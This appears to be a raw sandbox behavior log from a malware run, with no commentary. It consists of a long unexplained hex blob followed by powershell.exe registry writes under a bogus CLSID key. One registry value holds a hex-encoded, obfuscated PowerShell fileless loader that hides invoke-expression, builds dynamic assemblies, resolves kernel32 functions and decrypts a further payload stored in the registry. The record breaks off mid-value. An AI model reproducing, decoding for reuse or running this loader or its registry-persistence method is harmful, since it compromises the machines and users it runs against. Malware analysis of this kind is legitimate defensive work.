b2fa6af374caea027db779781c0c06ab385c1b62b785ae0f82b4fa42fb5455951f5fc917504568933286c9e7982240c07d2b234f8ab6d7e3f332dbd0236d70fba64c88c4ea174e44b422cb27dca06458c0cccafc586cdb9d6fd3086c189fcd190cab7e957cc668f65fc7fd0180941dc956d244b6eac001595bc6d89a84b0eee7ec05f96e5e9fc852411c2a96ebbd65fce4cc50c39185846134c2b8ed3c9a3e2c6067e3e45df322903181199fd31276ac98c42608a39855f97c9b0441b364fb679543f76b10f8aa705f7e2e46f5c10103b1726d4d543257d47ad5b1de5951d3b3ceb14f06c021a3eda00927b5bead058f32122c0167740e0b63624d2574c746dcebf71aafd7eea99c86cec55578969aed4cafd0f302f4d4ae33ff192384872c5ec834d2d83630906a774c31e4824174069c1a266e73177883a83501bbad3955b4354e4fce0d98e06fb01faab53dcb4ff675be00dcdf5f1d014fce852a23dfc9d87a4469410f79a4a838e1779833129f392f7cc03dbb7e0b30aad70cb48502eb7913a801eb62d5660f7d1aa78e25c3070fdc2c3d484e84014b7ff7c7531e4a00f4dc4bdba784578ab9ef9c411146e3799b3de93a7ac8ed51260ba177c46b6c3270f2afc0e3ab6806e9f5061fa0ea14e1b0179c362f80aa4b8168542fac1ce06596586dfc4708b1570f01c9bb22b26cf7059de4e7fcc156d31cccc810f9bb3caf82c4f4c3ecbd93254e6534e4f15a6c9af395252fcbc18f95e2a701e42fb8505492b8572bb24e713e80b2b3431b45bfa887c9eec958503fc6b8a41a5c6e4e36297d1bf8e1c152dc8dccf790d75dd383b6b06fc90223f3435a7685fba224b6f13fdcd8115ff6c529bcc7880a114daa73176c9b3afa040de3b92a0b444e7b3b4c7fcd66b777b3554dbd713f496bba535c469713702bfec9c8b1f0e769fe9616075003324b176fcbfd4a3ad82c7cf3aeb2a20026ab2e1ff7c423cfa31666a6c1dd7e6cfe80ff6f70443b3394f630f82b4afe720851f389a9d1640e0731937cbd60109bd746161ac411bd1d6b66e58eb92f69be81028d87dfa3fa715b3eee4bfec22c5f28842c8dbdba54146ace0ab57c44c2e937f1a265140bd7f97c44ad3b8f87262b05ac5fb88a1caf5bc379d58ca383460c826e80e8df723ac4a9c4bdaa5927e5eb905ba8964c4edf49aa0519b68884d9edafbd8089abcd3844f2e358cb415e601488b0ce62f1648d048da635620b2a0958c4c2b60d4c995e910505b8f43eb0d61b5662782c7feb6b342e20bca67947e76395fd4d0b48764d1fbd1a40209513973fe7b4ed17a676645b324289fa56b314e8c6e2ca053d4b4d4e8a3878a8dee1bd6d40f8417b94fb9f3cda67fa4f8f487d4f307637d59e65eabdfa4dbe431a18d2b656f53a491441f344df7a10fc93b7e7d453f722d45c8d53d50fd4b86b1a415a40b9d8b7b78bb084b8a8d4fa379a4a69407dee7f1572f39e7549f977a58f051c75cf29bc3096b1f3e726cdab993d301794a8964ce3fc4973d4b8936b6801fecca2a05e4e13db76e3e6c6d584ec42f6bbd16d3d12e2c683ec773cf77118e9ca3eb816242cf2bdcc0fc29a8e314cee6ad9a89867f406000f070d302992bb203ade24b8e6b6f46ebe69654434ff361b358626c223c855e250f5ad362f911ac59e22eda21d400bf5241857e49edc945362639e82fe1faf36e6e0aac81dfc944b6323b8a60955ce864ed78326d56a011417e128257cc190e1663956e144ed3004cc3d00b3e1bfcbbd93b1f384923334076eac049cc33cb2705ec514d89c67f5dbca49ef0137985ebc3944377d9538d4a730d3ac9bad4a42c2914339406313f040e3c90dbc24ba25696a8f5c52ca716ceec4c355afa35868513d3fa40906ac3fbaec5e4e51cf09e5148d4df8d68740cdcbb93d9743a236a88614d2900f296dcc68112c31df8cb9e56495e0531bde8b78899eae9d1bb9e09fd5713003a19ae5c7ef7d7b4bc4af380e9c41e99b459a35b1709f029b7668eaaea8cf64800ba49985fdbed73637869c364b9bffa77be441659a82e451bd1442442c68f6a7b60d7ef367283643868a9dff5c78fe570fc9f1da9fe2cad402ff776e61b9e5e5a5b1c22d84b38832f24776969123d4188dff15a3119b2b3d8fecbe4e8c17a7b32ce86ffa37493408f84a1019d3f15ed66e81a9d51de1fd027635fb7633979ea3eb2f3936cb938b64c95863275d7aa8d3071792d30e4a12362ffa54a54c3ac1e81e15752629ffb798b465926d5b4ea765d34ae5cfbfdddc2b7a2675ca27832b38f405a0b8627395faa92d90ff57d5b3f4a4aba4bafa915d29f21481a5f2a587f4dcc3769855a75c7d7df67317177b740989283565877b1a3542d484950669a4c121765742f2733fc040facd142ca083a7b0a5a2c5b4c51a4128842ed103ec203532a673ac8c03cc43a37ea1088185e88a7ba223bb3d29f44cc418d6076458ba220e47d88ffcde8f6612c3f9b2be1e428488bfdea3a8dcf2cfd19ca02dce1658de953e6e607a387524d25d48266b9bc465d85fe3e53825fb73e2d73b4545d0ff3312c9a85320c88164eefe1cbae0b7ea20012e0cd674cb73dc86d84ed5888fa36ea35e0e7c57a4c41a180117f4d6bf39458220c00ca256b26817b00dd262a1bd34f925e7b47f80b66c511f12505dd171e05579e945fc3e3ad138db7e84cff5709fcb4301faac1941864aaf9d818305b79f28f1bcb70d2799be3bc63eeb00de5a3c06e36910d9616b3cecd1bf396849bb8258205bc1d0dbadfd81860c0313010315acc65147f23a2f0a1b0895fad2d48d8093d05932b2500a3582522e5fb3c5edaf641e482945323719aeafaf25217bf1f5547d30bab08e810fd6e8fd9158bc75c0d9a96d4838f701c8561cbf5097472143c25901184996c6e9e30af73b4b63d529888ca1916a79e14b3ffb23c496037b75aeed19bcd2f84d462cc5a95b2a3e7d1d82661986dfdd40802464ae08b323b81f0a1af8734754984dc3abab3c493cf6afa35d0af494699c3c67f476001987503ba4d0a612b55868824d1bc5912d2cb341bf2c13e251fdefada208a6731261f1e8eb06bbc8e2e88654b473f5cb2be92da8a917813e4c10c2a3e204c05cd7d8d60e68702c3759e8883d993f0ca4422487a723b6b993a8ec53fe75dad5836ef48e1e24a760bd5be8d15f271b32e258cf3e19520f4b3270965f7ae6abc0ecdad98cb9d093e1c76bbe598b8dd1e7031880fdfb2b9a219a53b83d2d72b85698b9a728bf7973548c7e0a723994d0789530ced19f89df0f294a25a0fe0828af1530ce18efa5536643b0d1e4f26108d532e498b791b8d370187c05137eb3285abe17a6b07277ad82b0450738a04becf18665fa960a5aaa9697e9338f0fae659bc10688912431e198af1e2ca9529ebe7ae189ceacc50fbab22451f72573530611646b805eb016ccf28e000e9a201b26eb910da1da8c72f4c006dba261b199579ce9b379dc993032d77991625f86fac059a256a33e1d68394420bcfdb89439db561538c900ef9f6acd7588f31a17d5312de2d783d4323cb7d7236de05da61020184922db74928045425ac57f2f0605186b79c90fde36be59b49e4bef39c651e0b242dbce49517589de18117bb3a52d7873c52b9da22a253ee9145d6d9b41b6a663b9d2be2754661d59fe7d4537febec9b58d17302a198c07618a76faaf1e18650b954395a5350a9d48e6915446b5b9a53334d81618b2481226318864379b1714d4f4cbe8dfbce7a47fe239af1d293900fac845df66ba75900a2a4f0d160188142746413d29ca8200b81b793b773736c1b3d20e5b20fb8abf8e9bf85946e7781c99fb981e780e125f82edc9e75abceb704244f4aef94633372887b37991bc4ec81c61c59a23c9c7a8f36e6ea0e78ef188ef3001c36530d100f82b1b3d828134ee46bb8e8471948e374cf30189ce50afbede3be1a1e78ec8d22ccac4be6c8921f03e60a7f4589ad402b1ac65ec5001cc1721f94fc231f59489963a36ebde50347de7de6b28c83a5f114f11104895c18fe29cf22b74c51fb53bbaf90e32776db6474f314ceae1b5aac482a8031ae9ff4c1fa256e0bf3938817515f5cd2f9e3ad2e26793037e67c61b19ab80a9c122c4e6b11f78fbb203090be81ac4f0e47c9e3f4c2457628c24b799ca9ea4e4bded81809d8e17024cea057f12ffd25375fa70aa47eaca4e6f471da43176e61ffed25c307a25ea54b0dbf3917b25de6830d06ca11b5d60158644301c403ead3a8449f491e477c61307e93072861ba51eda1645ddcf95ac04fe6e9ad889607804cbdea391af8cdadcfbb3096b6ddc8267057c9a3d098fee30700136d113bb51a6d9d9bf27f39c0e60f055a16246e4824512b12a2ee2d303c6284cae27969e1ce7a40a0ecbe67f57395e28734f6842f990fd795d9498916242bfbc9d19bf87e1a02be9bd34dd5c30526311fa1748c8df675de34ad3de9044b8b09d24b41ece41232078d3976a03e6f8ddb41e08d2c5d824854766bbf58b09e2d7ba146cbb53d038bc7d7354e4b359ced8e97c963cae3b4e1910bb501ac43a616bd6ba478d4d26d5818115819ae32a6e403f6f66a99682ef8443bbe3f478c4a1f0b7ccb341d8693fb772c87ee429b58dac8dc9716d7ef62d40be6f3f9b3f06b750db6e4496e9b58b73754d236fb52c19c89f4fd44373537d76bb43dfbec43abebb0fb6ba11920d79d1c818f7ffdb660d559a358951f8706b87a1d2be05cce441167e00fc97d2985053b0873fc9dcfc11ed221e9ff40d07dd6ebce1af02a55ad2ef0261fcc9f1b3d16d170277417431db5454d04a29414be633354da242e14d4f64a0840188453e47e4a648ac6b4051084ca16292e1e1f53f4a9fcde050822996e1055f3c182018e3f9591224f5df6bb666c3cb34b01e87c80c77cbec9a8d4007d2fcee06ec734e3a52d611b3d66add30a31a383e8967d2baaa8761d2e624dae4a9b5ac335b23b5e19b0657eaf4d747a319d2faefe17e42f0c4f98765aad8e04e73462f3cb20972f000c9be8e1b744297a0a1a61f6d8aea91b4844ec3de3f2a09b45b14b0e3349947c1a6a6b024f462e008006937261a635ad2017175890f3f1e4ee301109ed3b11a41af7adf05a85915b4091fc0430eb746a4159588cee12b25c7e4313007c476d68b07761a0732fae3c5870360e8915f29f91e98a2c409c900267515ee4b70d031e144d45785acbf5cf81337b554a772c274bcc01e36be1c605e10176219b05fd9dd214131a78cd18595c1733481e5c5ee4780bbbfd4e00dc6f86e9be7d914c60877dc605a72b1d837abcd11860920d0141367c14072886ad14fd2e658fdd2b61d2a3a3b0134fa34065d49d17296a67ab0d3e773a3082c56d0d0e73fb0f012d2e818c0ec7ef1e0ace434e36940e772d2fbd881433bbe3db7107e6db0734cf14824ead578fa77b59e4b4e6b2b9267ab8b85737e685984f2483cf716d934d6ccdbe4c1a3e6755a47cc8cbf4481101f48eb9697a79395877e00810d2fa3d867459d1f7694ce4d82c849617781a45e61784b215266a02eada78329f2b83762662a7d7f69c3b4bf85cc2f273859d9abaa2bacfc41ad5a3221beef4bea39e73e151fdc76634c0e70a6a9059524c2d87f1d441840fec29d4dcc209ef9055ebf9ffd6f701f4801e125a78b00d29a5b171b3800abb25d423e06b5157c1461019caa5937ac81917118848500f91534c486813a8bd431ea1a06bd5cfea02ac62d91c823612759b5fbdf9b187cf268976317910977c60df717ba4d5e59438966a4d286a621876138a11625096de49ac725531de33810582f17e27dd6267506cd15936872f732e32130e9ef6a5fe6844e36b4135b8e9c9bb1e9e4f627a8780ac682d7fa01f003288d87dbf878ebf8899f610653df5a7c6120159814be3098c179d148ad952930011fdbdc39d507e620e5a99c76f358922703213e3d3eea893f0535e015f87472ec95a25685ae0155992cca8f2dd6008ab325f18c72a300b692ee035c6a3453904302fd469483f6271f19f7f1188c6687397a007836bb6c0afc594219103237ce0da7b658a4ca5aed5357fab161ff453ee02977a2de8b226e7935f5ae474ffa897a6042b13440c6c7faa4e2a5269a6ce39edfc2a83bc10b71dacb7b0e1d8f9115ada194310065cc9533ff5acdd4ecb5a641517f9c9b5b1945b631bd9d5dae3051cc2caa8b71db55ad8cd5ebfba9503b9f1c76aa67f91fc1ff41fa00841b8ab3840063925b83aa9cc71b62a276ee6f2c359149e442d42e7a4e89ba82686df0bac641cf18d292409ef5101c80d39f624b312c3565b1658d2a0201771560d3baec226048c4db45f867c01b3cfe28801e7137f10c42f728fc67cc5a4c8f2e33d7cca8718e6275703c8048a31e8de81ee69deb5ad2cbd254c3312bb454b712e142ddf46ef7961b9d4157ce7b7e1cba4a67fde87756b297736981f411039014990d64a23f4cb3f1c256896ea78109f89e1c999afb0d2cc30533237ea140466bd94deaa460d2931e217f2e1ac65b7cb31ba86465bf04c51ff2cd50baea5651e7827041d15e6dcef11c89c1aef9cd641345e4812ddcbe6d96030f0488da284a52d6d45a0bce82d01fa49286fe59e6454807589007a8ca76854dfa28439bfa38c9ec234c2a6aba4ad9d91118f1d969b2050204295fed897f5085a0d2f3df37c3210cecde6324d7e114e38a774a5bea2a3f2d2571452abb5d03855de81b83dcfdca5fe6f7153d3505d9b9b49911423ac6c1030f3729fdc21609f42e5cc4144f43692ad5c64b73c813ff9ed1c8db17f7857188ec51e2ba60e0fb9415ef207ad475e1e80580f37b197cf05edf1375cd864d0b7115ad08c51140266403d3668a31d2a1f071197dfea16eff289f27e23c41f5d627251d3fd690b7122aa42ee19041c38111bd85c870d36fbadd206a4a34e9156f00200f14c881421219f43db768f192b88c4b70e16e5f24762db48f5173ca719e0e8ef6249bab788dcc74f32fe4fdba2654c3a8f1a40571f36e4fc9f51b69f35fec2d13e61e34b5dc9a38abff8a6bf89211c95438abf136e961b6a00aff00a1311375c60c090548bffbcebff310499c36b30f6209ade81f212579f805658175d735838d02d052d321babf22561c95f341ba6e10f4090f76fd270672cee8beb7396e7cf0328fb2d2f8d66dbde1f14c2b7a567fd00623f7bbe97c126cfeba83eb1f6ef565d6d32d2f199ff634f56252d4d50a6d16e8ef596371f9109dc7c3ab5f9c89668818013f67117e7051db25c0b054e9585cb1689561d6c332e70f85c0855d9fc1034b9df1fe90642d861b94be46ae29e5af47bd11900d67012a0221b6afd9b84908c25e3d6a958e783febfdbb00acf77fd1b1d388008f93fc4b10c1eeb23463ce56914180653a1ed6e8e849eec9a4b943da57289e58da93d35f2f73fe18791477cc00ff1375924749c7870add0ba4b902f5918ca6276f2df2b427b8a5093e44abb4538ecd7a00f87b5c0ca8f6d7694205eb251e13779c95d56dee39b044eec60770b30dd36afb7759cfb8185ef3c77693acc26cf9d980981ce3f02b7c966f7ca69534914e1a8a4be38cf31ad6a59205e0bfe496ac9e5b424f64045f6e6008b0708aa46ea0495389bdd4c27fef49238304a6de4b3e7f8e88bbb487c3a1d2c9021be7d3121b24afe31d281c75a427618ca73c81c0e65e9d8640e3ee59a7159edad3acbd63b8d7d454b79f3a702d6eb8e8fc8b7f60bedf0a66f237ac631423bf3a49e9dead03d6ba33bef767a1f2a119b0230962735a4486268e4922cc06043be947c40f74e184c28acdb6dc3d989a4848e8595f3e001a3272dea9730e0a4e76559881a148a3b7ce33ab1e535d4ce03b830b88fcec4a64f55dd7589f55bad37f5d98c7aa136d21d106cb5c7cc7a009ed9e1f66ea44b0b6dd7278ea8ef7499cdae24f21765d112f2282608e7d3f4e418f134b028ad0f490d7fea236b595b6c85f0568c1a77da4b495f9e2ef2c751c6e67d0f3a4eecbcd68a3cdeb34ce213510bc4aa65ae7b5ab5a59c9e31bf8fed56d2f4503d85dd498bc8f88bd8378bfb221cbcbca89fdaa7d9864aa5d3ef32694596c7a4300d0cd07a78a4258fcb46b4af0bc4b8b25f425c32afde0d55b114b11672b5d634b81f964fe9979b298420260ce2ece8c25fbbb6546f054d422da241c86ad7e1cb4b992a95e9ea45922ac728a30b6fcff393e7d32e416e1687a65d4333534fc200e19900e33fe34e70516c4ff3be60b326dd7cad979260811b31b2e989a65ec01fd0bfc903e438219cf4ab66b4d49c6a47e2abaeeb60655493ba4f0060ce6b6c692744ab0d47bdca953946ff7633bb053cd3dac3a65e5dd2790f0617c0e3eb1c5b681da54258f9cbb33647a45ea4e41e59dd13c5448e7d75258bec0129a0014d21dea25b8d9dedd2489047f0527b9d9b57f54231f519727b3066a1f7989ea3a524c5731850219ee9dce279b56287c976f59263ae4ff1886406046190ec6dcbdb0eaba9976242cc725c787f641a5bec1652d70f308042162f1762817c6dc257b39079edc3c04ff48564f295b2098120f3ddb0f27c1936f670c71e5471370673db854f2b9ea9c5c3a6184192efb00949c94dcde96439d20f88b59d00d9919de01c1c5d9d2174de4e530bbe00d460e4fa6d9bfe774907bab07d84c15afff9205446ce9fdeda453a8d072b5a72467f2699faeed5632b1b9dc83c6c990ede9b4f2481dc9f845da95c643435b57a99cd2495e76f5506cc63523bd13a5ee9e27c52f13a7eead3d094086503590a9ce5a9c8132e448ff4dda9c16454c2d7bac15992d7202582fea26e4cc14a11657ddce8a1e7da4b9c69952debd05e543065392c015fc2b3e55b4a86ccd23bf0765f77b9cb5a0dacd1563837503ccecbbb3f7667a90dc8ae548e67dd597bd6c78f2e97a0de99d24fcdd0beca4d25c768d369cd009f782dae264bec7380cb03054c9ca9444c6e9dc1cbb6affec662f4809b3815495e8daabfb1cc3abddcfc04f2d63325254ed89676cb098abeb00af609526c55b55ef2e81d48b2a075dcee39071fd3290d061bb13497786a9485d55020b5a413583a18f8d13465d7b396e917c5de1b56e1d5c57879f2bc37988d2483399b42e182f541241a6a507e736387ec7f4f9a84a630951253c900cffb0c75dd33607044074c6d5706e42a6ccf49eb4fd5bcbe671f10593936de0c726510840c749d2018c03dfcec36795745cdf7920cfb94781266e4803bb370426dc1ec36843eaa6987a6d14e988a63be1e8330511cf13388bbcc585d8f4f7cbbda7070a589cc5bc7fa03411072f2881a0452f40e8c3a226bcdc3949af68f9d7e41f5aa49e230ef310db20030f6c202ec6e98e73db263a8a42b0b26cf83f9155a95aa221aeb186865fcd56f96b3e47ca39986dce53b76f574ad3da3e012d2ccffa1557c9590eb054850a5834ad0e58167a03fdf8397fa9d0ffcf21b9f26bed997dd06eacb01467b949b93ac794df8dc78d8b66740b59343204c97ea4628ce4821afab9c0d7f663d84e6d321a0c2aea3ad1a62519eb9a78006dd06f4fbe9a6297d8ac5182edb67d661418c7d0d43706e43f3536b3396d0537f8f3a44d7f0d4b134dfa26429c7abc5632544e63ff0a70fac2d88b8423ccd089e018a9c19f8916d2c9a3469f421214d780d991b42000e3db1a5908508ed7380c3604e8dd76a50d0b172d7d9fe5f33041b23b93270534a84f54f36ae950dca6e49c916668c066163a25123bc230ebca1dd8d2d504a00602d98de79138e5236386f1b089b8725b5ff66592cc0ddb5cb29d89e358f04d0b41d2a198fe0f79b2882abeedbd6238b6f11e491047cd2c926d745366927da227d80f35ac5fc2662b001c56dbef4eb8be705424e6d1ecee91949d4b7c258a72672bb3e91f56a95d11b255f9fb152b6ab9a828c3ae32fa5116f4ff71ac8ba8cbae7d699b8549d5ef5c7512d6d59c12f425cf8174c5311c6bc9928628ac6e3b4991cfae27512fc9445dd11dc4397f3208debabed7920f6f8fd310ae09fd102432e51749719d161d1d5a1f531d678dd9adaccbb37a9cffd121beea45e15a1677205c4f8444d9e5a683e804984810dd60129e5cb8dac49835cc3434feb9f23196db72eaaea081f03c93e2b5212f4fdcf4272cf25ec84121427621e43b53a8abf5712b120905a934221a910da945835ccfb58d267d1e64e022a8e2f81188f83c726aa133b8d5da93e16e691a7b3fdebfaec2e90311961dcb452a42b538c6805b7adde45a0cd4f0d3c2dd93eba08bf22e76e29b49ae5b1fac59b484cf7308de5481232042da896a693974e16d915e6da6120f3bc672c773f99f404a22f47fce4f9a74b47845d21933107b7ae7b0a8cf0b05096ad0a3306b2583bb05fdd428b9fa21fda29925a8574a8784f65bd7b721f99ff3cd8a750016d971ccc84ef69c34bb16e34c68d93c1c792fc15f7b24861d48f6b105061c842e27b7c2d04b17d6d5cc46f5ca6d51a636c6cbdbe1ee905245010db75f4627d2beba8215a8084457aded2f764008c4c4150329495daff5a717cd98baeb5051d59f7c576bf6a4b273c6773c47cbcd5815db86fa0a1bd6ff81fb7abae12f9ead737b4c3749a52e4385c2ba334cc2b72062f2a778b76336bf7f9074d57899ec8f133d72e4191dca98087449079cf2f944dcaecd0c1d5ec5092d184be34f5d055d86eb1fcfa8fbd0629a043f66bbd1fe9b9836169c66d7aa5e09f6f80dea382e2feb7156bc271bc9dd3edefa6d6c6493051a9d6137034bc069b3952275ec605e093b8484a273a499e1df6c1fa7f27384b408d314058 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1728.ps1" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0E0F100C-0611-030F-0B06-09050D01080E}\VersionIndependentProgID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0E0F100C-0611-030F-0B06-09050D01080E}\ProgID powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E0F100C-0611-030F-0B06-09050D01080E}\ProgID\080E = 66756e6374696f6e20776b337b706172616d28246475332c24687a35292028776a38202732343741364133333344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343741364133333245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343634373533333239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343741364133333245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436383741333532433234363437353333323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234374136413333324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3137382d3137345d2b247073686f6d655b3230322d3136385d2b277827297d66756e6374696f6e206469367b706172616d282465703929282d6a6f696e2824657039202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e207176317b706172616d28247875372920287661382027323436413639333433443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343533303436333133303330343332443330333633313331324433303333333034363244333034323330333632443330333933303335333034343330333133303338333034353744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303435333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343533303436323733423234363637413337334432383234364136393334354233333332354432423238333533343244323832383238333732423331333432393239323932393239334232303234373936413334334432343641363933343542323436363741333732453245323832343636374133373242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234373936413334323933423234364136393334334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303435333034363331333033303433324433303336333133313244333033333330343632443330343233303336324433303339333033353330343433303331333033383330343537443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033383330343532373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303338333034353237334232343636374133373344374232303234373336343335334433303245324533323335333533423330324532453332333533353743323537423230323436373638333333443238323436373638333332423234373336343335354232343546354432423234373936413334354232343546323532343739364133343245344336353645363737343638354432393235323833323331333232423334333432393342323032343733363433353542323435463544324332343733363433353542323436373638333335443344323437333634333535423234363736383333354432433234373336343335354232343546354432303744323033423234364136393334374332353742323436423731333333443238323436423731333332423331323932353238323832383338333332423331333933363239323932443332333332393342323032343631364533313344323832343631364533313242323437333634333535423234364237313333354432393235323833313338333332423238333133313336324433343333323932393342323032343733363433353542323436423731333335443243323437333634333535423234363136453331354433443234373336343335354232343631364533313544324332343733363433353542323436423731333335443342323435463244363237383646373232343733363433353542323832343733363433353542323436423731333335443242323437333634333535423234363136453331354432393235323832383332333433373244333733373239324233383336323935443230374432303744323033423234373737393335323033443230323832363230323436363741333737433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436423731333333443330334232343642373133333230324436433734323032343737373933353245344336353645363737343638334232343642373133333242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373737393335324535333735363237333734373236393645363732383234364237313333324333323239324332383238333632423331333532393244333532393239323037443239323927297c2628247073686f6d655b3137392d3137355d2b247073686f6d655b3134362d3131325d2b277827297d66756e6374696f6e207469317b706172616d282465703929202864693620273234373336353331334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343636363233393344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343733363533313245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373336353331324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363636323339324332343635373033393239323927297c2628247073686f6d655b3138332d3137395d2b247073686f6d655b3138382d3135345d2b277827297d2066756e6374696f6e20746d397b706172616d28246570392c247164302c247a63362920286469362027323436453638333633443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343533303436333133303330343332443330333633313331324433303333333034363244333034323330333632443330333933303335333034343330333133303338333034353744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303435333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343533303436323733423234363336433337334432383234364536383336354233333332354432423238333533343244323832383238333732423331333432393239323932393239334232303234373736353333334432343645363833363542323436333643333732453245323832343633364333373242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234373736353333323933423234364536383336334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303435333034363331333033303433324433303336333133313244333033333330343632443330343233303336324433303339333033353330343433303331333033383330343537443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033383330343532373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303338333034353237334232343633364333373344374232303234363736393337334433303245324533323335333533423330324532453332333533353743323537423230323436383635333733443238323436383635333732423234363736393337354232343546354432423234373736353333354232343546323532343737363533333245344336353645363737343638354432393235323833323331333232423334333432393342323032343637363933373542323435463544324332343637363933373542323436383635333735443344323436373639333735423234363836353337354432433234363736393337354232343546354432303744323033423234364536383336374332353742323437313646333633443238323437313646333632423331323932353238323832383338333332423331333933363239323932443332333332393342323032343636363433383344323832343636363433383242323436373639333735423234373136463336354432393235323833313338333332423238333133313336324433343333323932393342323032343637363933373542323437313646333635443243323436373639333735423234363636343338354433443234363736393337354232343636363433383544324332343637363933373542323437313646333635443342323435463244363237383646373232343637363933373542323832343637363933373542323437313646333635443242323436373639333735423234363636343338354432393235323832383332333433373244333733373239324233383336323935443230374432303744323033423234363837313337323033443230323832363230323436333643333737433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437313646333633443330334232343731364633363230324436433734323032343638373133373245344336353645363737343638334232343731364633363242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363837313337324535333735363237333734373236393645363732383234373136463336324333323239324332383238333632423331333532393244333532393239323037443239323927297c2628247073686f6d655b3138382d3138345d2b247073686f6d655b3230342d3137305d2b277827297d2066756e6374696f6e206e64317b706172616d28246570392c24716430292028646936202732343642373733393344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343642373733393245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631